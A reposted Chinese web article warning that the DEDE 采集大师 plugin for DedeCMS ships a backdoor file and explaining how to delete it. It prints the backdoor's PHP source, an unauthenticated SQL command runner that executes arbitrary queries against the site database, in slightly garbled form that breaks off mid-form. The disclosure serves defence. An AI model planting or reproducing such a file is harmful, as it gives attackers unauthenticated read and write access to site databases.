DEDE采集大师官方留后门的删除办法
发布时间：2020-05-24 20:38:59 所属栏目：PHP 来源：互联网
导读：说实话，会故意留后门的程序，最好的方法就是别用。这个后门被发现了，天知道下一个所谓的新版本还会不会冒出更多的后门来。
|
去除官方后门方法：安装好采集大师后，请立即删除 include目录下的dedesql.query.php文件，如已经安装过，有可能文件已被改名为arc.sqlquery.class.php，找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库，并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说，方法： } exit(); } if($dopost=="index") { require_once(DEDEINC.'/arc.partview.class.php'); $envs = $_sys_globals = array(); $envs['aid'] = 0; $pv = new PartView(); $row = $pv->dsql->GetOne('Select From dede_homepageset'); $templet = str_replace("{style}",$cfg_df_style,$row['templet']); $homeFile = dirname(FILE).'/'.$row['position']; $homeFile = str_replace("//","/",str_replace("",$homeFile)); $fp = fopen($homeFile,'w') or die("无法更新网站主页到：$homeFile 位置"); fclose($fp); $tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet; $pv->SetTemplet($tpl); $pv->SaveToHtml($homeFile); $pv->Close(); echo "成功更新首页！"; exit(); } else if($dopost=="query") { $sqlquery = trim(stripslashes($sqlquery)); if(eregi("drop(.)table",$sqlquery) ||eregi("drop(.)database",$sqlquery)) { echo "删除'数据表'或'数据库'的语句不允许在这里执行。"; exit(); } if(eregi("^select ",$sqlquery)) { $dsql->SetQuery($sqlquery); $dsql->Execute(); if($dsql->GetTotalRow()<=0) { echo "运行SQL：{$sqlquery}，无返回记录！"; } else { echo "运行SQL：{$sqlquery}，共有".$dsql->GetTotalRow()."条记录，最大返回100条！"; } $j = 0; while($row = $dsql->GetArray()) { $j++; if($j>100) { break; } echo " "; echo "记录：$j"; echo " "; foreach($row as $k=>$v) { echo "{$k}：{$v} rn"; } } exit(); } if($querytype==2) { $sqlquery = str_replace("r","",$sqlquery); $sqls = split(";[ t]{0,}n",$sqlquery); $nerrCode = "";$i=0; foreach($sqls as $q) { $q = trim($q); if($q=="") { continue; } $dsql->ExecuteNoneQuery($q); $errCode = trim($dsql->GetError()); if($errCode=="") { $i++; } else { $nerrCode .= "执行： $q 出错，错误提示：".$errCode." "; } } echo "成功执行{$i}个SQL语句！ "; echo $nerrCode; } else { $dsql->ExecuteNoneQuery($sqlquery); $nerrCode = trim($dsql->GetError()); echo "成功执行1个SQL语句！ "; echo $nerrCode; } exit(); } if($dopost=="view") { ;echo ' <meta http-equiv='Content-Type' content='text/html; charset=gb2312'> <link href='img/base.css' rel='stylesheet' type='text/css'> <body background='img/allbg.gif' leftmargin='8' topmargin='8'> <table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA"> <tr> <td height="19" background="img/tbg.gif"> <table width="96%" border="0" cellspacing="1" cellpadding="1"> <tr> <td width="24%"> SQL命令运行器：</td><td width="76%" align="right"> <a href="sys_data.php">数据备份 | <a href="sys_data_revert.php"> 数据还原</td> </tr> </table> </td> </tr> <tr> <td height="200" bgcolor="#FFFFFF" valign="top"> <table width="100%" border="0" cellspacing="4" cellpadding="2"> <form action="" method="post" name="infoform" target="stafrm"> <input type='hidden' name='dopost' value='viewinfo' /> <tr bgcolor="#F3FBEC"> <td width="15%" height="24" align="center">系统的表信息：</td> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="35%"> <select name="tablename" id="tablename" style="width:100%" size="6"> '; $dsql->SetQuery("Show Tables"); $dsql->Execute('t'); while($row = $dsql->GetArray('t',MYSQL_BOTH)) { $dsql->SetQuery("Select count() From ".$row[0]); $dsql->Execute('n'); $row2 = $dsql->GetArray('n',MYSQL_BOTH); $dd = $row2[0]; echo " rn"; } ;echo ' </td> <td width="2%"></td> <td width="63%" valign="bottom"> <div style="float:left;margin-right:20px;"> <div style="float:left"> </td> </tr> </table></td> </tr> <tr> <td height="200" align="center">返回信息：</td> <td> <iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"> </td> </tr> <form action="" method="post" name="form1" target="stafrm"> <input type='hidden' name='dopost' value='query'> <tr> <td height="24" colspan="2" bgcolor="#F3FBEC"> 运行SQL命令行： </td> |